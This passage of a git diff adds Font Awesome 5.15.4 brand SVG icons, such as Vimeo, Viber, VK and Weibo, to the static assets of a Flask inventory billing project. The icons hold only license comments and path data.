3.6 5.2 6.3 2.6 6.7 6.4 16.5 7.9 20.2h-9.2c-3.9-10.4-9.6-25.4-11.8-31.1-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3.8 2 2.8 7.3 4.3 10.9H256c-1.5-4.1-5.6-14.6-8.4-22-2 2.5-7.2 9.2-10.7 13.7 2.5 1.6 4.3 3.6 5.2 6.3.2.6.5 1.4.6 1.7H225c-4.6-13.9-11.4-27.7-11.4-34.1 0-2.2.3-5.1 1.1-8.2-8.8 10.8-14 15.9-14 25 0 7.5 10.4 28.3 10.4 33.3 0 1.7-.5 3.3-1.4 4.9-9.6-12.7-15.5-20.7-18.8-20.7h-12l-11.2-28c-3.8-9.6-5.7-16-5.7-18.8 0-3.8.5-7.7 1.7-12.2-1 1.3-3.7 4.7-5.5 7.1-.8-2.1-3.1-7.7-4.6-11.5-2.1 2.5-7.5 9.1-11.2 13.6.9 2.3 3.3 8.1 4.9 12.2-2.5 3.3-9.1 11.8-13.6 17.7-4 5.3-5.8 13.3-2.7 21.8 2.5 6.7 2 7.9-1.7 14.1H191c5.5 0 14.3 14 15.5 22 13.2-16 15.4-19.6 16.8-21.6h107c3.9 0 7.2-1.9 9.9-5.8zm20.1-26.6V181.7c-9 12.5-15.9 18.6-20.7 18.6 7.1 14.4 10.7 23.9 10.7 28.3v66.3c0 17.5 8.6 20.4 24 20.4 8.1 0 12.5-.8 13.7-2.7-4.3-1.6-7.6-2.5-9.9-3.3-8.1-3.2-17.8-7.4-17.8-26z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vaadin.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vaadin.svg new file mode 100644 index 00000000..8bceb79d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vaadin.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viacoin.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viacoin.svg new file mode 100644 index 00000000..940ea07b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viacoin.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viadeo-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viadeo-square.svg new file mode 100644 index 00000000..ee6329d6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viadeo-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viadeo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viadeo.svg new file mode 100644 index 00000000..c45991d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viadeo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viber.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viber.svg new file mode 100644 index 00000000..8c70c7ab --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/viber.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vimeo-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vimeo-square.svg new file mode 100644 index 00000000..9d84f399 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vimeo-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vimeo-v.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vimeo-v.svg new file mode 100644 index 00000000..94c762de --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vimeo-v.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vimeo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vimeo.svg new file mode 100644 index 00000000..975e5272 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vimeo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vine.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vine.svg new file mode 100644 index 00000000..afe7c925 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vine.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vk.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vk.svg new file mode 100644 index 00000000..5c9a0165 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vk.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M545 117.7c3.7-12.5 0-21.7-17.8-21.7h-58.9c-15 0-21.9 7.9-25.6 16.7 0 0-30 73.1-72.4 120.5-13.7 13.7-20 18.1-27.5 18.1-3.7 0-9.4-4.4-9.4-16.9V117.7c0-15-4.2-21.7-16.6-21.7h-92.6c-9.4 0-15 7-15 13.5 0 14.2 21.2 17.5 23.4 57.5v86.8c0 19-3.4 22.5-10.9 22.5-20 0-68.6-73.4-97.4-157.4-5.8-16.3-11.5-22.9-26.6-22.9H38.8c-16.8 0-20.2 7.9-20.2 16.7 0 15.6 20 93.1 93.1 195.5C160.4 378.1 229 416 291.4 416c37.5 0 42.1-8.4 42.1-22.9 0-66.8-3.4-73.1 15.4-73.1 8.7 0 23.7 4.4 58.7 38.1 40 40 46.6 57.9 69 57.9h58.9c16.8 0 25.3-8.4 20.4-25-11.2-34.9-86.9-106.7-90.3-111.5-8.7-11.2-6.2-16.2 0-26.2.1-.1 72-101.3 79.4-135.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vnv.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vnv.svg new file mode 100644 index 00000000..defd09e4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vnv.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vuejs.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vuejs.svg new file mode 100644 index 00000000..e6ff1c0e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/vuejs.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/watchman-monitoring.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/watchman-monitoring.svg new file mode 100644 index 00000000..f44797bd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/watchman-monitoring.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/waze.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/waze.svg new file mode 100644 index 00000000..bdf915db --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/waze.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/weebly.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/weebly.svg new file mode 100644 index 00000000..670b4332 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/weebly.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/weibo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/weibo.svg new file mode 100644 index 00000000..a8ba297d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/weibo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/weixin.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/weixin.svg new file mode 100644 index 00000000..2a48c539 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/weixin.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 